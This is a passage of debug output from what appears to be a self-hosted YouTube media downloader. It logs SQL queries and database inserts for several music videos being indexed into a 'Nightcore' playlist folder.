s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:21.246 [debug] QUERY OK source="media_items" db=0.1ms idle=1.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2007-01-07 18:54:11Z], 1] 22:22:21.416 [debug] QUERY OK source="media_items" db=169.2ms idle=1.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Song by Dcx remixed original avalible at um...forgot anyways here's the credits happy? [insert bad word here] face", "Trance-Flying High", "2ccbdcaa-0f77-4ca4-ae64-88f96a10aae6", false, "Ool4gyrJpM0", 177, false, "https://www.youtube.com/watch?v=Ool4gyrJpM0", 21, "/downloads/Nightcore/Nightcore/2007-01-07Trance-Flying High[Ool4gyrJpM0].m4a", false, false, 1, [], 1, ~U[2007-01-07 18:54:11Z], ~U[2026-07-24 02:22:21Z], ~U[2026-07-24 02:22:21Z], "Song by Dcx remixed original avalible at um...forgot anyways here's the credits happy? [insert bad word here] face", "Trance-Flying High", "Ool4gyrJpM0", 177, false, "https://www.youtube.com/watch?v=Ool4gyrJpM0", "/downloads/Nightcore/Nightcore/2007-01-07Trance-Flying High[Ool4gyrJpM0].m4a", false, 1, ~U[2007-01-07 18:54:11Z]] 22:22:21.416 [debug] QUERY OK source="sources" db=0.1ms idle=170.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:21.417 [debug] QUERY OK source="media_profiles" db=0.1ms idle=170.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:21.417 [debug] QUERY OK source="media_items" db=0.2ms idle=170.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [21] 22:22:21.417 [info] Kicking off download for media item #21 (Ool4gyrJpM0) 22:22:21.418 [debug] Current batch of media processed. Will check again in 1000ms 22:22:22.419 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "teteteteteto\n.\n› Genre(s): Eurobeat\n.\n› Be a member and gain custom badges, custom emojis and early access to new remixes.\nJoin Now: https://www.youtube.com/channel/UCZEZcozbf3e339wn3eZ31Tw/join\n.\n› Join Discord: https://discord.gg/gJZPKhQDDY\n.\n› HQ Download: https://www.mediafire.com/folder/cpk4e4crbax76/IMOJIST's_HQ_Downloads\n.\n› HQ Instrumental Downloads:\nhttps://www.mediafire.com/folder/chllo4adwdz25/IMOJIST_HQ_Instrumental\n› Subscribe Now: https://www.youtube.com/channel/UCZEZcozbf3e339wn3eZ31Tw?sub_confirmation=1\n.\n› AE86 Illustrator: https://www.deviantart.com/wcjuan\n.\n› Follow Me On Instagram: https://www.instagram.com/imojistmusic/\n.\n› Follow Me On Twitter: https://twitter.com/imojist\n.\n› Original Video/Song: https://youtu.be/Soy4jGPHr3g?si=_Meag7MsaWpkymqj\n. \n› Follow me on various platforms: https://imojist.carrd.co\n.\n#tetoris #kasaneteto #eurobeat #remix #music #synthv", "duration" => 215, "filename" => "/downloads/Nightcore/Nightcore/2025-03-13TETORIS ⧸⧸ Eurobeat Remix - Hiiragi Magnetite & Kasane Teto[pjD-8_yVknk].m4a", "id" => "pjD-8_yVknk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=pjD-8_yVknk", "playlist_index" => 22, "timestamp" => 1741869128, "title" => "TETORIS // Eurobeat Remix - Hiiragi Magnetite & Kasane Teto", "upload_date" => "20250313"} 22:22:22.420 [debug] QUERY OK source="sources" db=1.0ms queue=0.2ms idle=1002.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:22.421 [debug] QUERY OK source="sources" db=0.5ms idle=1003.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:22.422 [debug] QUERY OK source="media_items" db=0.4ms idle=1003.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-13 12:32:08Z], 1] 22:22:22.714 [debug] QUERY OK source="media_items" db=290.7ms idle=1004.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["teteteteteto\n.\n› Genre(s): Eurobeat\n.\n› Be a member and gain custom badges, custom emojis and early access to new remixes.\nJoin Now: https://www.youtube.com/channel/UCZEZcozbf3e339wn3eZ31Tw/join\n.\n› Join Discord: https://discord.gg/gJZPKhQDDY\n.\n› HQ Download: https://www.mediafire.com/folder/cpk4e4crbax76/IMOJIST's_HQ_Downloads\n.\n› HQ Instrumental Downloads:\nhttps://www.mediafire.com/folder/chllo4adwdz25/IMOJIST_HQ_Instrumental\n› Subscribe Now: https://www.youtube.com/channel/UCZEZcozbf3e339wn3eZ31Tw?sub_confirmation=1\n.\n› AE86 Illustrator: https://www.deviantart.com/wcjuan\n.\n› Follow Me On Instagram: https://www.instagram.com/imojistmusic/\n.\n› Follow Me On Twitter: https://twitter.com/imojist\n.\n› Original Video/Song: https://youtu.be/Soy4jGPHr3g?si=_Meag7MsaWpkymqj\n. \n› Follow me on various platforms: https://imojist.carrd.co\n.\n#tetoris #kasaneteto #eurobeat #remix #music #synthv", "TETORIS // Eurobeat Remix - Hiiragi Magnetite & Kasane Teto", "33ead8d2-3040-4ea3-9341-e99f0bb00eea", false, "pjD-8_yVknk", 215, false, "https://www.youtube.com/watch?v=pjD-8_yVknk", 22, "/downloads/Nightcore/Nightcore/2025-03-13TETORIS ⧸⧸ Eurobeat Remix - Hiiragi Magnetite & Kasane Teto[pjD-8_yVknk].m4a", false, false, 1, [], 1, ~U[2025-03-13 12:32:08Z], ~U[2026-07-24 02:22:22Z], ~U[2026-07-24 02:22:22Z], "teteteteteto\n.\n› Genre(s): Eurobeat\n.\n› Be a member and gain custom badges, custom emojis and early access to new remixes.\nJoin Now: https://www.youtube.com/channel/UCZEZcozbf3e339wn3eZ31Tw/join\n.\n› Join Discord: https://discord.gg/gJZPKhQDDY\n.\n› HQ Download: https://www.mediafire.com/folder/cpk4e4crbax76/IMOJIST's_HQ_Downloads\n.\n› HQ Instrumental Downloads:\nhttps://www.mediafire.com/folder/chllo4adwdz25/IMOJIST_HQ_Instrumental\n› Subscribe Now: https://www.youtube.com/channel/UCZEZcozbf3e339wn3eZ31Tw?sub_confirmation=1\n.\n› AE86 Illustrator: https://www.deviantart.com/wcjuan\n.\n› Follow Me On Instagram: https://www.instagram.com/imojistmusic/\n.\n› Follow Me On Twitter: https://twitter.com/imojist\n.\n› Original Video/Song: https://youtu.be/Soy4jGPHr3g?si=_Meag7MsaWpkymqj\n. \n› Follow me on various platforms: https://imojist.carrd.co\n.\n#tetoris #kasaneteto #eurobeat #remix #music #synthv", "TETORIS // Eurobeat Remix - Hiiragi Magnetite & Kasane Teto", "pjD-8_yVknk", 215, false, "https://www.youtube.com/watch?v=pjD-8_yVknk", "/downloads/Nightcore/Nightcore/2025-03-13TETORIS ⧸⧸ Eurobeat Remix - Hiiragi Magnetite & Kasane Teto[pjD-8_yVknk].m4a", false, 1, ~U[2025-03-13 12:32:08Z]] 22:22:22.715 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=293.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:22.715 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=293.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:22.716 [debug] QUERY OK source="media_items" db=0.5ms idle=294.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [22] 22:22:22.717 [debug] Current batch of media processed. Will check again in 1000ms 22:22:23.718 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Song: Wildfire\nArtists: Fatal Force & Crusher P\nImage: http://www.borongaja.com/653449-main-character-shakugan-no-shana.html", "duration" => 367, "filename" => "/downloads/Nightcore/Nightcore/2016-08-16Fatal Force & Crusher P - Wildfire (Lyrics)[P06woLjHbOU].m4a", "id" => "P06woLjHbOU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=P06woLjHbOU", "playlist_index" => 23, "timestamp" => 1471352741, "title" => "Fatal Force & Crusher P - Wildfire (Lyrics)", "upload_date" => "20160816"} 22:22:23.719 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1004.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:23.719 [debug] QUERY OK source="sources" db=0.4ms idle=1004.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:23.720 [debug] QUERY OK source="media_items" db=0.4ms idle=1004.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2016-08-16 13:05:41Z], 1] 22:22:23.902 [debug] QUERY OK source="media_items" db=180.8ms idle=1004.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Song: Wildfire\nArtists: Fatal Force & Crusher P\nImage: http://www.borongaja.com/653449-main-character-shakugan-no-shana.html", "Fatal Force & Crusher P - Wildfire (Lyrics)", "fec40689-c645-475b-9b8a-d709194c920c", false, "P06woLjHbOU", 367, false, "https://www.youtube.com/watch?v=P06woLjHbOU", 23, "/downloads/Nightcore/Nightcore/2016-08-16Fatal Force & Crusher P - Wildfire (Lyrics)[P06woLjHbOU].m4a", false, false, 1, [], 1, ~U[2016-08-16 13:05:41Z], ~U[2026-07-24 02:22:23Z], ~U[2026-07-24 02:22:23Z], "Song: Wildfire\nArtists: Fatal Force & Crusher P\nImage: http://www.borongaja.com/653449-main-character-shakugan-no-shana.html", "Fatal Force & Crusher P - Wildfire (Lyrics)", "P06woLjHbOU", 367, false, "https://www.youtube.com/watch?v=P06woLjHbOU", "/downloads/Nightcore/Nightcore/2016-08-16Fatal Force & Crusher P - Wildfire (Lyrics)[P06woLjHbOU].m4a", false, 1, ~U[2016-08-16 13:05:41Z]] 22:22:23.902 [debug] QUERY OK source="sources" db=0.4ms idle=478.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:23.903 [debug] QUERY OK source="media_profiles" db=0.3ms idle=184.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:23.904 [debug] QUERY OK source="media_items" db=0.5ms idle=184.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [23] 22:22:23.904 [debug] Current batch of media processed. Will check again in 1000ms 22:22:24.906 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Discord: https://discord.gg/dysmn\n\n0:00 - I Am Sorry, I Love You\n2:11 - Just Kill Me Already\n5:24 - Don't Hug Me, I Am Scared\n8:42 - Sometimes I worry that nothing is ever enough\n\nSpotify: https://open.spotify.com/artist/4m6gJ1ZMwIiUUveRuKg65h\n-------------------|\nInstagram: https://www.instagram.com/dysmn.exe/\nTiktok: https://www.tiktok.com/@dysmn.music\nX: https://x.com/Dysmn_ \n\nWant to support me? -\n- (Membership) https://www.youtube.com/channel/UCBdxXQRUwjfiL0SfVyhkauw/join\n- (Merch) https://dysmn-shop.fourthwall.com\n- (Merch) https://dysmn-merch.printify.me", "duration" => 674, "filename" => "/downloads/Nightcore/Nightcore/2026-06-14DEATH EFFECT[3aup1n4f8x0].m4a", "id" => "3aup1n4f8x0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=3aup1n4f8x0", "playlist_index" => 24, "timestamp" => 1781413225, "title" => "DEATH EFFECT", "upload_date" => "20260614"} 22:22:24.907 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1004.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:24.907 [debug] QUERY OK source="sources" db=0.3ms idle=1004.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:24.908 [debug] QUERY OK source="media_items" db=0.4ms idle=1004.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-14 05:00:25Z], 1] 22:22:25.135 [debug] QUERY OK source="media_items" db=226.4ms idle=1004.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Discord: https://discord.gg/dysmn\n\n0:00 - I Am Sorry, I Love You\n2:11 - Just Kill Me Already\n5:24 - Don't Hug Me, I Am Scared\n8:42 - Sometimes I worry that nothing is ever enough\n\nSpotify: https://open.spotify.com/artist/4m6gJ1ZMwIiUUveRuKg65h\n-------------------|\nInstagram: https://www.instagram.com/dysmn.exe/\nTiktok: https://www.tiktok.com/@dysmn.music\nX: https://x.com/Dysmn_ \n\nWant to support me? -\n- (Membership) https://www.youtube.com/channel/UCBdxXQRUwjfiL0SfVyhkauw/join\n- (Merch) https://dysmn-shop.fourthwall.com\n- (Merch) https://dysmn-merch.printify.me", "DEATH EFFECT", "2bbf66c0-1d50-4c61-af92-6b3290288bd6", false, "3aup1n4f8x0", 674, false, "https://www.youtube.com/watch?v=3aup1n4f8x0", 24, "/downloads/Nightcore/Nightcore/2026-06-14DEATH EFFECT[3aup1n4f8x0].m4a", false, false, 1, [], 1, ~U[2026-06-14 05:00:25Z], ~U[2026-07-24 02:22:24Z], ~U[2026-07-24 02:22:24Z], "Discord: https://discord.gg/dysmn\n\n0:00 - I Am Sorry, I Love You\n2:11 - Just Kill Me Already\n5:24 - Don't Hug Me, I Am Scared\n8:42 - Sometimes I worry that nothing is ever enough\n\nSpotify: https://open.spotify.com/artist/4m6gJ1ZMwIiUUveRuKg65h\n-------------------|\nInstagram: https://www.instagram.com/dysmn.exe/\nTiktok: https://www.tiktok.com/@dysmn.music\nX: https://x.com/Dysmn_ \n\nWant to support me? -\n- (Membership) https://www.youtube.com/channel/UCBdxXQRUwjfiL0SfVyhkauw/join\n- (Merch) https://dysmn-shop.fourthwall.com\n- (Merch) https://dysmn-merch.printify.me", "DEATH EFFECT", "3aup1n4f8x0", 674, false, "https://www.youtube.com/watch?v=3aup1n4f8x0", "/downloads/Nightcore/Nightcore/2026-06-14DEATH EFFECT[3aup1n4f8x0].m4a", false, 1, ~U[2026-06-14 05:00:25Z]] 22:22:25.136 [debug] QUERY OK source="sources" db=0.3ms idle=709.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:25.136 [debug] QUERY OK source="media_profiles" db=0.1ms idle=229.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:25.137 [debug] QUERY OK source="media_items" db=0.3ms idle=228.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [24] 22:22:25.137 [debug] Current batch of media processed. Will check again in 1000ms 22:22:26.138 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by SongCast, Inc.\n\nSay It Right (Phonk Version) · Miguel Pascal\n\nSay It Right (Phonk Version)\n\n℗ 2026, Gengar Music Entertainment Party\n\nReleased on: 2026-06-08\n\nAuto-generated by YouTube.", "duration" => 177, "filename" => "/downloads/Nightcore/Nightcore/2026-06-09Say It Right (Phonk Version)[ZkigfGIueJ0].m4a", "id" => "ZkigfGIueJ0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=ZkigfGIueJ0", "playlist_index" => 25, "timestamp" => 1781017310, "title" => "Say It Right (Phonk Version)", "upload_date" => "20260609"} 22:22:26.138 [debug] QUERY OK source="sources" db=0.1ms idle=1002.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", 